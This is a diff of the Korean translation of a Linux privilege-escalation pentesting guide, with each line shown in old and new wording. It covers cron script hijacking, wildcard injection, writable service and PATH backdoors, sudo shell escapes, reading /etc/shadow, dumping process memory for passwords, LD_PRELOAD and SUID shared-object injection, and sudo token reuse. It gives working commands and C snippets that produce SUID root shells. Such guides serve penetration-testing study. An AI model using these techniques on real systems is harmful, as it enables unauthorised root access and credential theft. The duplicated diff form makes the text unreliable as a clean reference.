[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (피해자에서 실행, 2.x 커널에 대한 익스플로잇만 확인)
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (피해자에서 실행, 커널 2.x에 대한 취약점만 확인)
항상 **Google에서 커널 버전을 검색하세요**, 아마도 귀하의 커널 버전이 어떤 커널 익스플로잇에 기록되어 있을 것이며, 그러면 이 익스플로잇이 유효하다는 것을 확신할 수 있습니다.
항상 **Google에서 커널 버전을 검색**하세요. 아마도 귀하의 커널 버전이 일부 커널 취약점에 기록되어 있을 것이며, 그러면 이 취약점이 유효하다는 것을 확신할 수 있습니다.
### CVE-2016-5195 (DirtyCow)
@ -86,7 +86,7 @@ date 2>/dev/null #Date
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
```
## 가능한 방어 수단
## 가능한 방어 수단 열
### AppArmor
```bash
@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
```
## Docker Breakout
당신이 도커 컨테이너 안에 있다면, 그것에서 탈출하려고 시도할 수 있습니다:
Docker 컨테이너 내부에 있다면 탈출을 시도할 수 있습니다:
{{#ref}}
docker-security/
@ -131,7 +131,7 @@ docker-security/
## Drives
**마운트된 것과 마운트 해제된 것**을 확인하고, 어디서 왜 그런지 확인하세요. 만약 어떤 것이 마운트 해제되어 있다면, 그것을 마운트하고 개인 정보를 확인해 볼 수 있습니다.
**마운트된 것과 마운트 해제된 것**을 확인하고, 어디서 왜 그런지 확인하세요. 마운트 해제된 것이 있다면, 그것을 마운트하고 개인 정보를 확인해 볼 수 있습니다.
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@ -162,7 +162,7 @@ SSH에 대한 접근 권한이 있는 경우, **openVAS**를 사용하여 머신
## 프로세스
**어떤 프로세스**가 실행되고 있는지 살펴보고, 어떤 프로세스가 **필요 이상으로 권한이 있는지** 확인하세요 (예: root로 실행되는 tomcat?).
**어떤 프로세스**가 실행되고 있는지 살펴보고, 어떤 프로세스가 **필요 이상으로 권한이 있는지** 확인하십시오 (예: root로 실행되는 tomcat?).
```bash
ps aux
ps -ef
@ -173,20 +173,20 @@ top -n 1
### 프로세스 모니터링
[**pspy**](https://github.com/DominicBreuker/pspy)와 같은 도구를 사용하여 프로세스를 모니터링할 수 있습니다. 이는 자주 실행되는 취약한 프로세스를 식별하거나 특정 요구 사항이 충족될 때 유용할 수 있습니다.
[**pspy**](https://github.com/DominicBreuker/pspy)와 같은 도구를 사용하여 프로세스를 모니터링할 수 있습니다. 이는 자주 실행되는 취약한 프로세스를 식별하거나 특정 요구 사항이 충족될 때 매우 유용할 수 있습니다.
### 프로세스 메모리
서버의 일부 서비스는 **메모리 내에 자격 증명을 평문으로 저장합니다**.\
일반적으로 다른 사용자의 프로세스 메모리를 읽으려면 **루트 권한**이 필요하므로, 이는 보통 이미 루트일 때 더 많은 자격 증명을 발견하고자 할 때 유용합니다.\
그러나 **일반 사용자로서 자신이 소유한 프로세스의 메모리를 읽을 수 있다는 점을 기억하세요**.
일반적으로 다른 사용자의 프로세스 메모리를 읽으려면 **루트 권한**이 필요하므로, 이는 보통 이미 루트일 때 더 유용하며 더 많은 자격 증명을 발견하고자 할 때 사용됩니다.\
그러나 일반 사용자로서 **자신이 소유한 프로세스의 메모리를 읽을 수 있다는 점을 기억하세요**.
> [!WARNING]
> 현재 대부분의 머신은 **기본적으로 ptrace를 허용하지 않습니다**. 이는 권한이 없는 사용자가 소유한 다른 프로세스를 덤프할 수 없음을 의미합니다.
>
> 파일 _**/proc/sys/kernel/yama/ptrace_scope**_는 ptrace의 접근성을 제어합니다:
>
> - **kernel.yama.ptrace_scope = 0**: 모든 프로세스는 같은 uid를 가진 한 디버깅할 수 있습니다. 이는 ptracing이 작동하던 고전적인 방식입니다.
> - **kernel.yama.ptrace_scope = 0**: 모든 프로세스는 동일한 uid를 가진 한 디버깅할 수 있습니다. 이는 ptracing이 작동하던 고전적인 방식입니다.
> - **kernel.yama.ptrace_scope = 1**: 오직 부모 프로세스만 디버깅할 수 있습니다.
> - **kernel.yama.ptrace_scope = 2**: 오직 관리자가 ptrace를 사용할 수 있으며, 이는 CAP_SYS_PTRACE 권한이 필요합니다.
> - **kernel.yama.ptrace_scope = 3**: 어떤 프로세스도 ptrace로 추적할 수 없습니다. 설정 후에는 ptracing을 다시 활성화하려면 재부팅이 필요합니다.
@ -230,7 +230,7 @@ rm $1*.bin
```
#### /dev/mem
`/dev/mem`은 시스템의 **물리** 메모리에 접근을 제공합니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\
`/dev/mem`은 시스템의 **물리** 메모리에 접근을 제공합니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\
일반적으로 `/dev/mem`**root**와 **kmem** 그룹만 읽을 수 있습니다.
```
strings /dev/mem -n10 | grep -i PASS
@ -295,9 +295,9 @@ strings *.dump | grep -i password
| GDM 비밀번호 (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (활성 FTP 연결) | vsftpd |
| VSFTPd (활성 FTP 연결) | vsftpd |
| Apache2 (활성 HTTP 기본 인증 세션) | apache2 |
| OpenSSH (활성 SSH 세션 - Sudo 사용) | sshd: |
| OpenSSH (활성 SSH 세션 - Sudo 사용) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@ -328,21 +328,21 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
(_사용자 "user"가 /home/user에 대한 쓰기 권한을 가지고 있는 것을 주목하세요_)
이 crontab 안에서 root 사용자가 경로를 설정하지 않고 어떤 명령이나 스크립트를 실행하려고 하면. 예를 들어: _\* \* \* \* root overwrite.sh_\
그렇다면, 다음을 사용하여 root 을 얻을 수 있습니다:
그렇다면, 다음을 사용하여 root 을 얻을 수 있습니다:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
### Cron using a script with a wildcard (Wildcard Injection)
### Cron을 사용한 와일드카드가 있는 스크립트 (와일드카드 주입)
루트에 의해 실행되는 스크립트가 명령어 안에 “**\***”를 포함하고 있다면, 이를 이용해 예상치 못한 일을 발생시킬 수 있습니다 (예: 권한 상승). 예:
루트에 의해 실행되는 스크립트에 명령어 안에 “**\***”가 포함되어 있다면, 이를 이용해 예상치 못한 일을 발생시킬 수 있습니다 (예: 권한 상승). 예:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**와일드카드가** _**/some/path/\***_ **와 같은 경로 앞에 있으면 취약하지 않습니다 (심지어** _**./\***_ **도 그렇습니다).**
다음 페이지에서 더 많은 와일드카드 악용 요령을 읽어보세요:
다음 페이지에서 더 많은 와일드카드 악용 기법을 읽어보세요:
{{#ref}}
wildcards-spare-tricks.md
@ -364,7 +364,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
1분, 2분 또는 5분마다 실행되는 프로세스를 검색하기 위해 프로세스를 모니터링할 수 있습니다. 이를 활용하여 권한을 상승시킬 수 있습니다.
예를 들어, **1분 동안 0.1초마다 모니터링**하고, **덜 실행된 명령어로 정렬**한 다음, 가장 많이 실행된 명령어를 삭제하려면 다음과 같이 할 수 있습니다:
예를 들어, **1분 동안 0.1초마다 모니터링**하고, **덜 실행된 명령어로 정렬**한 , 가장 많이 실행된 명령어를 삭제하려면 다음과 같이 할 수 있습니다:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### 보이지 않는 크론 작업
크론 작업을 **주석 뒤에 캐리지 리턴을 넣어** 생성하는 것이 가능하며 (줄 바꿈 문자가 없이), 크론 작업이 작동합니다. 예시 (캐리지 리턴 문자를 주목하세요):
크론 작업을 **주석 뒤에 캐리지 리턴을 넣어 생성하는 것이 가능합니다** (줄 바꿈 문자가 없이), 그리고 크론 작업이 작동합니다. 예시 (캐리지 리턴 문자를 주목하세요):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@ -380,7 +380,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### 쓰기 가능한 _.service_ 파일
어떤 `.service` 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면, 해당 파일을 **수정하여** 서비스가 **시작**, **재시작** 또는 **중지**될 때 **백도어를 실행**하도록 할 수 있습니다(아마도 기계가 재부팅될 때까지 기다려야 할 것입니다).\
`.service` 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면, 서비스가 **시작**, **재시작** 또는 **중지**될 때 **백도어를 실행하도록** **수정할 수 있습니다** (기계가 재부팅될 때까지 기다려야 할 수도 있습니다).\
예를 들어, .service 파일 안에 **`ExecStart=/tmp/script.sh`**로 백도어를 생성하세요.
### 쓰기 가능한 서비스 바이너리
@ -393,7 +393,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
```bash
systemctl show-environment
```
경로의 폴더 중 어느 곳에서든 **쓰기**가 가능하다면 **권한 상승**을 할 수 있을지도 모릅니다. 다음과 같은 서비스 구성 파일에서 사용되는 **상대 경로**를 검색해야 합니다:
경로의 폴더 중에서 **쓰기**가 가능하다고 판단되면 **권한 상승**이 가능할 수 있습니다. 다음과 같은 서비스 구성 파일에서 **상대 경로**가 사용되고 있는지 검색해야 합니다:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
@ -401,13 +401,13 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
그런 다음, 쓸 수 있는 systemd PATH 폴더 내에 **상대 경로 바이너리**와 **같은 이름**의 **실행 파일**을 생성하고, 서비스가 취약한 작업(**시작**, **중지**, **다시 로드**)을 실행하라고 요청받을 때, 당신의 **백도어가 실행될 것입니다** (비특권 사용자는 일반적으로 서비스를 시작/중지할 수 없지만 `sudo -l`을 사용할 수 있는지 확인하십시오).
**`man systemd.service`를 통해 서비스에 대해 더 알아보십시오.**
**`man systemd.service`를 통해 서비스에 대해 더 알아보세요.**
## **타이머**
**타이머**는 `**.service**` 파일이나 이벤트를 제어하는 `**.timer**`로 끝나는 systemd 유닛 파일입니다. **타이머**는 달력 시간 이벤트와 단조 시간 이벤트에 대한 기본 지원이 있어 비동기적으로 실행될 수 있으므로 cron의 대안으로 사용될 수 있습니다.
모든 타이머를 나열하려면:
다음 명령어로 모든 타이머를 나열할 수 있습니다:
```bash
systemctl list-timers --all
```
@ -443,12 +443,12 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
소켓은 `.socket` 파일을 사용하여 구성할 수 있습니다.
**소켓에 대해 더 알아보려면 `man systemd.socket`를 참조하세요.** 이 파일 내에서 여러 흥미로운 매개변수를 구성할 수 있습니다:
**`man systemd.socket`로 소켓에 대해 더 알아보세요.** 이 파일 내에서 여러 흥미로운 매개변수를 구성할 수 있습니다:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션들은 다르지만, **소켓이 수신할 위치를 나타내기 위해 요약됩니다** (AF_UNIX 소켓 파일의 경로, 수신할 IPv4/6 및/또는 포트 번호 등).
- `Accept`: 부울 인수를 받습니다. **true**인 경우, **각 수신 연결에 대해 서비스 인스턴스가 생성**되며, 연결 소켓만 전달됩니다. **false**인 경우, 모든 수신 소켓 자체가 **시작된 서비스 유닛**에 전달되며, 모든 연결에 대해 단 하나의 서비스 유닛 생성됩니다. 이 값은 단일 서비스 유닛이 모든 수신 트래픽을 무조건 처리하는 데이터그램 소켓 및 FIFO에 대해 무시됩니다. **기본값은 false**입니다. 성능상의 이유로, `Accept=no`에 적합한 방식으로만 새로운 데몬을 작성하는 것이 권장됩니다.
- `ExecStartPre`, `ExecStartPost`: 수신 **소켓**/FIFO가 **생성**되고 바인딩되기 **전** 또는 **후**에 **실행되는** 하나 이상의 명령줄을 받습니다. 명령줄의 첫 번째 토큰은 절대 파일 이름이어야 하며, 그 다음에 프로세스에 대한 인수가 옵니다.
- `ExecStopPre`, `ExecStopPost`: 수신 **소켓**/FIFO가 **닫히고** 제거되기 **전** 또는 **후**에 **실행되는** 추가 **명령**입니다.
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션들은 다르지만, **소켓이 어디에서 수신 대기할지를 나타내기 위해 요약됩니다** (AF_UNIX 소켓 파일의 경로, 수신 대기할 IPv4/6 및/또는 포트 번호 등).
- `Accept`: 부울 인수를 받습니다. **true**인 경우, **각 수신 연결에 대해 서비스 인스턴스가 생성**되며, 연결 소켓만 전달됩니다. **false**인 경우, 모든 수신 소켓 자체가 **시작된 서비스 유닛**에 전달되며, 모든 연결에 대해 단 하나의 서비스 유닛 생성됩니다. 이 값은 단일 서비스 유닛이 모든 수신 트래픽을 무조건 처리하는 데이터그램 소켓 및 FIFO에 대해 무시됩니다. **기본값은 false**입니다. 성능상의 이유로, `Accept=no`에 적합한 방식으로만 새로운 데몬을 작성하는 것이 권장됩니다.
- `ExecStartPre`, `ExecStartPost`: 수신 대기하는 **소켓**/FIFO가 **생성**되고 바인딩되기 **전** 또는 **후**에 **실행되는** 하나 이상의 명령줄을 받습니다. 명령줄의 첫 번째 토큰은 절대 파일 이름이어야 하며, 그 다음에 프로세스에 대한 인수가 옵니다.
- `ExecStopPre`, `ExecStopPost`: 수신 대기하는 **소켓**/FIFO가 **닫히고** 제거되기 **전** 또는 **후**에 **실행되는** 추가 **명령**입니다.
- `Service`: **수신 트래픽**에 대해 **활성화할** **서비스** 유닛 이름을 지정합니다. 이 설정은 Accept=no인 소켓에 대해서만 허용됩니다. 기본값은 소켓과 동일한 이름을 가진 서비스입니다(접미사가 대체됨). 대부분의 경우, 이 옵션을 사용할 필요는 없습니다.
### 쓰기 가능한 .socket 파일
@ -481,7 +481,7 @@ socket-command-injection.md
### HTTP 소켓
HTTP 요청을 수신 대기하는 **소켓이 있을 수 있습니다** (_저는 .socket 파일이 아니라 유닉스 소켓으로 작동하는 파일에 대해 이야기하고 있습니다_). 다음을 통해 확인할 수 있습니다:
HTTP 요청을 수신 대기하는 **소켓**이 있을 수 있습니다 (_저는 .socket 파일이 아니라 유닉스 소켓으로 작동하는 파일에 대해 이야기하고 있습니다_). 다음을 통해 확인할 수 있습니다:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
@ -532,13 +532,13 @@ Connection: Upgrade
Upgrade: tcp
```
`socat` 연결을 설정한 후, 호스트의 파일 시스템에 대한 루트 수준 액세스를 가진 상태에서 컨테이너 내에서 직접 명령을 실행할 수 있습니다.
`socat` 연결을 설정한 후, 호스트의 파일 시스템에 대한 루트 수준 액세스를 가지고 컨테이너 내에서 직접 명령을 실행할 수 있습니다.
### 기타
**docker** 그룹에 **속해 있기 때문에** docker 소켓에 대한 쓰기 권한이 있는 경우 [**권한 상승을 위한 더 많은 방법**](interesting-groups-linux-pe/#docker-group)이 있습니다. [**docker API가 포트에서 수신 대기 중인 경우** 이를 타협할 수 있습니다](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Docker 소켓에 대한 쓰기 권한이 있는 경우, 즉 **`docker` 그룹에 속해 있는 경우** [**권한 상승을 위한 더 많은 방법이 있습니다**](interesting-groups-linux-pe/#docker-group). [**docker API가 포트에서 수신 대기 중인 경우** 이를 손상시킬 수 있습니다](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
다음에서 **docker에서 탈출하거나 권한 상승을 위해 악용할 수 있는 더 많은 방법**을 확인하세요:
다음에서 **docker에서 탈출하거나 권한 상승을 위해 악용할 수 있는 더 많은 방법을 확인하세요**:
{{#ref}}
docker-security/
@ -564,11 +564,11 @@ runc-privilege-escalation.md
D-Bus는 애플리케이션이 효율적으로 상호 작용하고 데이터를 공유할 수 있게 해주는 정교한 **프로세스 간 통신(IPC) 시스템**입니다. 현대 Linux 시스템을 염두에 두고 설계된 D-Bus는 다양한 형태의 애플리케이션 통신을 위한 강력한 프레임워크를 제공합니다.
이 시스템은 기본 IPC를 지원하여 프로세스 간 데이터 교환을 향상시키며, **향상된 UNIX 도메인 소켓**을 연상시킵니다. 또한 이벤트나 신호를 방송하는 데 도움을 주어 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어, Bluetooth 데몬에서 수신 전화에 대한 신호가 음악 플레이어를 음소거하도록 할 수 있어 사용자 경험을 향상시킵니다. 추가로, D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간의 서비스 요청 및 메서드 호출을 단순화하고, 전통적으로 복잡했던 프로세스를 간소화합니다.
이 시스템은 기본 IPC를 지원하여 프로세스 간 데이터 교환을 향상시키며, **향상된 UNIX 도메인 소켓**을 연상시킵니다. 또한 이벤트나 신호를 브로드캐스트하는 데 도움을 주어 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어, Bluetooth 데몬에서 수신 전화에 대한 신호가 음악 플레이어를 음소거하도록 할 수 있어 사용자 경험을 향상시킵니다. 추가로, D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간의 서비스 요청 및 메서드 호출을 간소화하여 전통적으로 복잡했던 프로세스를 간소화합니다.
D-Bus는 **허용/거부 모델**에 따라 작동하며, 정책 규칙의 누적 효과에 따라 메시지 권한(메서드 호출, 신호 전송 등)을 관리합니다. 이러한 정책은 버스와의 상호 작용을 지정하며, 이러한 권한을 악용하여 권한 상승을 허용할 수 있습니다.
D-Bus는 **허용/거부 모델**에서 작동하며, 메시지 권한(메서드 호출, 신호 방출 등)을 누적 효과에 따라 관리합니다. 이러한 정책은 버스와의 상호 작용을 지정하며, 이러한 권한을 악용하여 권한 상승을 허용할 수 있습니다.
`/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책의 예는 root 사용자가 `fi.w1.wpa_supplicant1`으로부터 메시지를 소유하고, 전송하고, 수신할 수 있는 권한을 상세히 설명합니다.
`/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책의 예는 root 사용자가 `fi.w1.wpa_supplicant1`에 대해 메시지를 소유하고, 보내고, 받을 수 있는 권한을 상세히 설명합니다.
지정된 사용자나 그룹이 없는 정책은 보편적으로 적용되며, "기본" 컨텍스트 정책은 다른 특정 정책에 의해 다루어지지 않는 모든 경우에 적용됩니다.
```xml
@ -612,9 +612,9 @@ cat /etc/networks
#Files used by network services
lsof -i
```
### Open ports
### 열린 포트
항상 접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 확인하세요:
접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 항상 확인하세요:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
@ -654,7 +654,7 @@ gpg --list-keys 2>/dev/null
### Big UID
일부 Linux 버전은 **UID > INT_MAX**를 가진 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 더 많은 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 및 [here](https://twitter.com/paragonsec/status/1071152249529884674).\
**다음과 같이 악용할 수 있습니다**: **`systemd-run -t /bin/bash`**
**Exploit it** using: **`systemd-run -t /bin/bash`**
### Groups
@ -687,18 +687,18 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
### Su Brute
많은 소음을 내는 것에 신경 쓰지 않고 `su` `timeout` 바이너리가 컴퓨터에 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용하여 사용자를 무작위 대입해 볼 수 있습니다.\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)`-a` 매개변수를 사용하여 사용자 무작위 대입을 시도합니다.
많은 소음을 내는 것에 신경 쓰지 않고 `su` `timeout` 바이너리가 컴퓨터에 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용하여 사용자를 무작위로 시도해 볼 수 있습니다.\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)`-a` 매개변수도 사용자를 무작위로 시도합니다.
## 쓰기 가능한 PATH 남용
### $PATH
$PATH의 **어떤 폴더 안에 쓸 수 있는 경우**에는 **쓰기 가능한 폴더 안에 백도어를 생성**하여 권한을 상승시킬 수 있습니다. 이 백도어는 다른 사용자(이상적으로는 root)에 의해 실행될 명령의 이름이어야 하며, **당신의 쓰기 가능한 폴더보다 이전에 위치한 폴더에서 로드되지 않아야** 합니다.
$PATH의 **어떤 폴더 안에 쓸 수 있는 경우**에는 **쓰기 가능한 폴더 안에 백도어를 생성**하여 권한을 상승시킬 수 있습니다. 이 백도어는 다른 사용자(이상적으로는 root)에 의해 실행될 명령의 이름이어야 하며, **$PATH에서 귀하의 쓰기 가능한 폴더보다 앞에 위치한 폴더에서 로드되지 않아야** 합니다.
### SUDO 및 SUID
sudo를 사용하여 일부 명령을 실행할 수 있도록 허용되거나 suid 비트가 설정되어 있을 수 있습니다. 다음을 사용하여 확인하세요:
sudo를 사용하여 일부 명령을 실행할 수 있도록 허용되거나 suid 비트가 설정되어 있을 수 있습니다. 다음을 사용하여 확인하세요:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
@ -720,7 +720,7 @@ $ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
이 예에서 사용자 `demo``root` `vim`을 실행할 수 있으며, 이제 루트 디렉토리에 ssh 키를 추가하거나 `sh`를 호출하여 셸을 얻는 것이 간단합니다.
이 예에서 사용자 `demo``root``vim`을 실행할 수 있으며, 이제 루트 디렉토리에 ssh 키를 추가하거나 `sh`를 호출하여 셸을 얻는 것이 간단합니다.
```
sudo vim -c '!sh'
```
@ -748,7 +748,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```
**와일드카드** (\*)가 사용되면, 훨씬 더 쉽습니다:
와일드카드(**wildcard**)가 사용되면 (\*), 훨씬 더 쉽습니다:
```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
@ -771,7 +771,7 @@ sudo less
만약 **suid** 바이너리가 **경로를 지정하여 다른 명령을 실행한다면**, suid 파일이 호출하는 명령과 같은 이름의 **함수를 내보내기** 위해 시도할 수 있습니다.
예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_를 호출한다면, 함수를 생성하고 내보내기를 시도해야 합니다:
예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_를 호출하는 경우, 함수를 생성하고 내보내기를 시도해야 합니다:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
@ -780,14 +780,14 @@ export -f /usr/sbin/service
### LD_PRELOAD & **LD_LIBRARY_PATH**
**LD_PRELOAD** 환경 변수는 로더가 모든 다른 라이브러리, 표준 C 라이브러리(`libc.so`)를 포함하여 로드하기 전에 로드할 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 프로세스를 라이브러리 프리로딩이라고 합니다.
**LD_PRELOAD** 환경 변수는 로더가 모든 다른 라이브러리, 표준 C 라이브러리(`libc.so`)를 포함하여 로드하기 전에 로드할 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 과정은 라이브러리를 미리 로드하는 것으로 알려져 있습니다.
그러나 시스템 보안을 유지하고 이 기능이 악용되는 것을 방지하기 위해, 특히 **suid/sgid** 실행 파일과 관련하여 시스템은 특정 조건을 강제합니다:
- 로더는 실제 사용자 ID(_ruid_)가 유효 사용자 ID(_euid_)와 일치하지 않는 실행 파일에 대해 **LD_PRELOAD**를 무시합니다.
- suid/sgid가 있는 실행 파일의 경우, suid/sgid인 표준 경로의 라이브러리만 프리로드됩니다.
- suid/sgid가 있는 실행 파일의 경우, suid/sgid인 표준 경로의 라이브러리만 미리 로드됩니다.
권한 상승은 `sudo`로 명령을 실행할 수 있는 능력이 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD** 문이 포함된 경우 발생할 수 있습니다. 이 구성은 **LD_PRELOAD** 환경 변수가 지속되고 `sudo`로 명령을 실행할 때 인식되도록 하여, 잠재적으로 상승된 권한으로 임의의 코드 실행으로 이어질 수 있습니다.
권한 상승은 `sudo`로 명령을 실행할 수 있는 능력이 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD** 문이 포함된 경우 발생할 수 있습니다. 이 구성은 **LD_PRELOAD** 환경 변수가 지속되고 `sudo`로 명령을 실행할 때 인식되도록 하여, 잠재적으로 상승된 권한으로 임의의 코드가 실행될 수 있게 합니다.
```
Defaults env_keep += LD_PRELOAD
```
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### SUID 바이너리 .so 주입
비정상적으로 보이는 **SUID** 권한이 있는 바이너리를 발견했을 때, **.so** 파일이 제대로 로드되고 있는지 확인하는 것이 좋은 방법입니다. 다음 명령어를 실행하여 확인할 수 있습니다:
비정상적으로 보이는 **SUID** 권한을 가진 바이너리를 발견했을 때, **.so** 파일이 제대로 로드되고 있는지 확인하는 것이 좋은 방법입니다. 다음 명령어를 실행하여 확인할 수 있습니다:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
@ -859,7 +859,7 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
마지막으로, 영향을 받 SUID 바이너리를 실행하면 익스플로잇이 트리거되어 시스템 손상이 발생할 수 있습니다.
마지막으로, 영향을 받 SUID 바이너리를 실행하면 익스플로잇이 트리거되어 시스템 손상이 발생할 수 있습니다.
## 공유 객체 하이재킹
```bash
@ -901,9 +901,13 @@ system("/bin/bash -p");
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://gtfoargs.github.io/" %}
{{#ref}}
https://gtfoargs.github.io/
{{#endref}}
### FallOfSudo
@ -915,22 +919,22 @@ system("/bin/bash -p");
권한 상승을 위한 요구 사항:
- 이미 "_sampleuser_" 사용자로 셸을 가지고 있습니다.
- "_sampleuser_"가 **최근 15분** 이내에 **`sudo`를 사용하여** 무언가를 실행했습니다 (기본적으로 이는 비밀번호를 입력하지 않고 `sudo`를 사용할 수 있게 해주는 sudo 토큰의 지속 시간입니다).
- `cat /proc/sys/kernel/yama/ptrace_scope`는 0입니다.
- `gdb`에 접근할 수 있습니다 (업로드할 수 있어야 합니다).
- 이미 "_sampleuser_" 사용자로 셸을 가지고 있
- "_sampleuser_"가 **지난 15분** 동안 **무언가를 실행하기 위해 `sudo`를 사용함** (기본적으로 이는 비밀번호를 입력하지 않고 `sudo`를 사용할 수 있게 해주는 sudo 토큰의 지속 시간입니다)
- `cat /proc/sys/kernel/yama/ptrace_scope`는 0
- `gdb`에 접근 가능 (업로드할 수 있어야 함)
(일시적으로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`를 사용하거나 `/etc/sysctl.d/10-ptrace.conf`를 영구적으로 수정하고 `kernel.yama.ptrace_scope = 0`으로 설정할 수 있습니다.)
(일시적으로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`를 사용하거나 `/etc/sysctl.d/10-ptrace.conf`를 영구적으로 수정하고 `kernel.yama.ptrace_scope = 0`으로 설정할 수 있습니다)
이 모든 요구 사항이 충족되면, **다음 링크를 사용하여 권한을 상승시킬 수 있습니다:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- **첫 번째 익스플로잇**(`exploit.sh`)은 _/tmp_에 `activate_sudo_token` 바이너리를 생성합니다. 이를 사용하여 **세션에서 sudo 토큰을 활성화할 수 있습니다** (자동으로 루트 셸을 얻지 않으며, `sudo su`를 실행해야 합니다):
- **첫 번째 익스플로잇**(`exploit.sh`)은 _/tmp_에 바이너리 `activate_sudo_token` 생성합니다. 이를 사용하여 **세션에서 sudo 토큰을 활성화할 수 있습니다** (자동으로 루트 셸을 얻지 않으며, `sudo su`를 실행해야 ):
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
- 두 번째 익스플로잇 (`exploit_v2.sh`)은 _/tmp_에 **setuid가 설정된 root 소유의 sh 셸**을 생성합니다.
